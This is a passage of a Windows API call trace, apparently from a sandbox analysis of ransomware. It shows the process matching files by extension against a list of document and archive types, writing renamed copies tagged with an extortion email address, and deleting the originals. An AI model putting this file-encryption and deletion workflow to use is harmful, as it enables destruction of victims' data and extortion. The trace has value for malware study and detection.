lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0263.759] lstrlenW (lpString=".1cd") returned 4 [0263.759] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0263.759] lstrlenW (lpString=".jpg") returned 4 [0263.759] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0263.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0263.759] lstrlenW (lpString=".doc") returned 4 [0263.759] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.759] lstrlenW (lpString=".docx") returned 5 [0263.759] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0263.759] lstrlenW (lpString=".pdf") returned 4 [0263.759] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.759] lstrlenW (lpString=".xls") returned 4 [0263.759] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.759] lstrlenW (lpString=".xlsx") returned 5 [0263.759] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0263.759] lstrlenW (lpString=".ppt") returned 4 [0263.759] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0263.759] lstrlenW (lpString=".zip") returned 4 [0263.759] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.759] lstrlenW (lpString=".rar") returned 4 [0263.759] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.759] lstrlenW (lpString=".bz2") returned 4 [0263.760] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.760] lstrlenW (lpString=".7z") returned 3 [0263.760] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0263.760] lstrlenW (lpString=".dbf") returned 4 [0263.760] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0263.760] lstrlenW (lpString=".1cd") returned 4 [0263.760] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0158477.WMF") returned 63 [0263.760] lstrlenW (lpString=".jpg") returned 4 [0263.760] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.760] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0263.760] lstrlenW (lpString="J0164153.JPG") returned 12 [0263.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.760] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=46484) returned 1 [0263.761] CloseHandle (hObject=0x3c4) returned 1 [0263.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg")) returned 0x20 [0263.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.761] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.761] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.762] GetLastError () returned 0x0 [0263.762] ReadFile (in: hFile=0x3c4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xb594, lpOverlapped=0x0) returned 1 [0263.764] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xb5a0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xb5a0, lpOverlapped=0x0) returned 1 [0263.765] ReadFile (in: hFile=0x3c4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.765] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.765] SetEndOfFile (hFile=0x1f8) returned 1 [0263.766] CloseHandle (hObject=0x1f8) returned 1 [0263.766] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.766] SetEndOfFile (hFile=0x3c4) returned 1 [0263.768] CloseHandle (hObject=0x3c4) returned 1 [0263.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.768] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0164153.jpg")) returned 1 [0263.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0263.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0263.769] lstrlenW (lpString=".doc") returned 4 [0263.769] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0263.769] lstrlenW (lpString=".docx") returned 5 [0263.769] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0263.769] lstrlenW (lpString=".pdf") returned 4 [0263.769] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0263.769] lstrlenW (lpString=".xls") returned 4 [0263.769] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0263.769] lstrlenW (lpString=".xlsx") returned 5 [0263.769] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0263.769] lstrlenW (lpString=".ppt") returned 4 [0263.769] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0263.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0263.769] lstrlenW (lpString=".zip") returned 4 [0263.769] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0263.769] lstrlenW (lpString=".rar") returned 4 [0263.769] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0263.769] lstrlenW (lpString=".bz2") returned 4 [0263.769] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0263.769] lstrlenW (lpString=".7z") returned 3 [0263.769] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0263.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0263.769] lstrlenW (lpString=".dbf") returned 4 [0263.770] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0263.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0263.770] lstrlenW (lpString=".1cd") returned 4 [0263.770] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0263.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0263.770] lstrlenW (lpString=".jpg") returned 4 [0263.770] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0263.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0263.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0263.770] lstrlenW (lpString=".doc") returned 4 [0263.770] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0263.770] lstrlenW (lpString=".docx") returned 5 [0263.770] lstrcmpiW (lpString1=".docx", lpString2="3.JPG") returned -1 [0263.770] lstrlenW (lpString=".pdf") returned 4 [0263.770] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0263.770] lstrlenW (lpString=".xls") returned 4 [0263.770] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0263.770] lstrlenW (lpString=".xlsx") returned 5 [0263.770] lstrcmpiW (lpString1=".xlsx", lpString2="3.JPG") returned -1 [0263.770] lstrlenW (lpString=".ppt") returned 4 [0263.770] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0263.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0263.770] lstrlenW (lpString=".zip") returned 4 [0263.770] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0263.770] lstrlenW (lpString=".rar") returned 4 [0263.771] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0263.771] lstrlenW (lpString=".bz2") returned 4 [0263.771] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0263.771] lstrlenW (lpString=".7z") returned 3 [0263.771] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0263.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0263.771] lstrlenW (lpString=".dbf") returned 4 [0263.771] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0263.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0263.771] lstrlenW (lpString=".1cd") returned 4 [0263.771] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0263.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0164153.JPG") returned 63 [0263.771] lstrlenW (lpString=".jpg") returned 4 [0263.771] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0263.771] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.771] lstrlenW (lpString="J0168644.WMF") returned 12 [0263.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.772] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=20906) returned 1 [0263.772] CloseHandle (hObject=0x3c4) returned 1 [0263.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf")) returned 0x20 [0263.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.772] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.772] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.773] GetLastError () returned 0x0 [0263.773] ReadFile (in: hFile=0x3c4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x51aa, lpOverlapped=0x0) returned 1 [0263.775] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x51b0, lpOverlapped=0x0) returned 1 [0263.776] ReadFile (in: hFile=0x3c4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.776] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.776] SetEndOfFile (hFile=0x1f8) returned 1 [0263.776] CloseHandle (hObject=0x1f8) returned 1 [0263.776] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.776] SetEndOfFile (hFile=0x3c4) returned 1 [0263.778] CloseHandle (hObject=0x3c4) returned 1 [0263.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.778] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0168644.wmf")) returned 1 [0263.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0263.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0263.779] lstrlenW (lpString=".doc") returned 4 [0263.779] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.779] lstrlenW (lpString=".docx") returned 5 [0263.779] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0263.779] lstrlenW (lpString=".pdf") returned 4 [0263.779] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.779] lstrlenW (lpString=".xls") returned 4 [0263.779] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.779] lstrlenW (lpString=".xlsx") returned 5 [0263.779] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0263.779] lstrlenW (lpString=".ppt") returned 4 [0263.779] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0263.779] lstrlenW (lpString=".zip") returned 4 [0263.779] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.779] lstrlenW (lpString=".rar") returned 4 [0263.779] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.780] lstrlenW (lpString=".bz2") returned 4 [0263.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.780] lstrlenW (lpString=".7z") returned 3 [0263.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0263.780] lstrlenW (lpString=".dbf") returned 4 [0263.780] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0263.780] lstrlenW (lpString=".1cd") returned 4 [0263.780] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0263.780] lstrlenW (lpString=".jpg") returned 4 [0263.780] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0263.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0263.780] lstrlenW (lpString=".doc") returned 4 [0263.780] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.780] lstrlenW (lpString=".docx") returned 5 [0263.780] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0263.780] lstrlenW (lpString=".pdf") returned 4 [0263.780] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.780] lstrlenW (lpString=".xls") returned 4 [0263.780] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.780] lstrlenW (lpString=".xlsx") returned 5 [0263.780] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0263.780] lstrlenW (lpString=".ppt") returned 4 [0263.780] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0263.780] lstrlenW (lpString=".zip") returned 4 [0263.780] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.780] lstrlenW (lpString=".rar") returned 4 [0263.780] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.780] lstrlenW (lpString=".bz2") returned 4 [0263.780] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.780] lstrlenW (lpString=".7z") returned 3 [0263.780] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0263.780] lstrlenW (lpString=".dbf") returned 4 [0263.781] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0263.781] lstrlenW (lpString=".1cd") returned 4 [0263.781] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0168644.WMF") returned 63 [0263.781] lstrlenW (lpString=".jpg") returned 4 [0263.781] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.781] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0263.781] lstrlenW (lpString="J0171685.WMF") returned 12 [0263.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.781] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=14472) returned 1 [0263.781] CloseHandle (hObject=0x3c4) returned 1 [0263.781] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf")) returned 0x20 [0263.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0263.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0263.782] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.782] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.782] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0263.783] GetLastError () returned 0x0 [0263.783] ReadFile (in: hFile=0x3c4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x3888, lpOverlapped=0x0) returned 1 [0263.856] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x3890, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x3890, lpOverlapped=0x0) returned 1 [0263.857] ReadFile (in: hFile=0x3c4, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0263.857] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0263.857] SetEndOfFile (hFile=0x1f8) returned 1 [0263.857] CloseHandle (hObject=0x1f8) returned 1 [0263.857] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0263.857] SetEndOfFile (hFile=0x3c4) returned 1 [0263.860] CloseHandle (hObject=0x3c4) returned 1 [0263.860] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0263.885] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0171685.wmf")) returned 1 [0263.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0263.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0263.894] lstrlenW (lpString=".doc") returned 4 [0263.894] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0263.894] lstrlenW (lpString=".docx") returned 5 [0263.894] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0263.894] lstrlenW (lpString=".pdf") returned 4 [0263.894] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0263.895] lstrlenW (lpString=".xls") returned 4 [0263.895] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0263.895] lstrlenW (lpString=".xlsx") returned 5 [0263.895] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0263.895] lstrlenW (lpString=".ppt") returned 4 [0263.895] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0263.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0263.895] lstrlenW (lpString=".zip") returned 4 [0263.895] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0263.895] lstrlenW (lpString=".rar") returned 4 [0263.895] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0263.895] lstrlenW (lpString=".bz2") returned 4 [0263.895] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0263.895] lstrlenW (lpString=".7z") returned 3 [0263.895] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0263.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0263.895] lstrlenW (lpString=".dbf") returned 4 [0263.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0263.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0263.895] lstrlenW (lpString=".1cd") returned 4 [0263.895] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0263.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0263.895] lstrlenW (lpString=".jpg") returned 4 [0263.895] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0263.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0263.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0171685.WMF") returned 63 [0263.895] lstrlenW (lpString=".doc") returned 4 [0263.895] 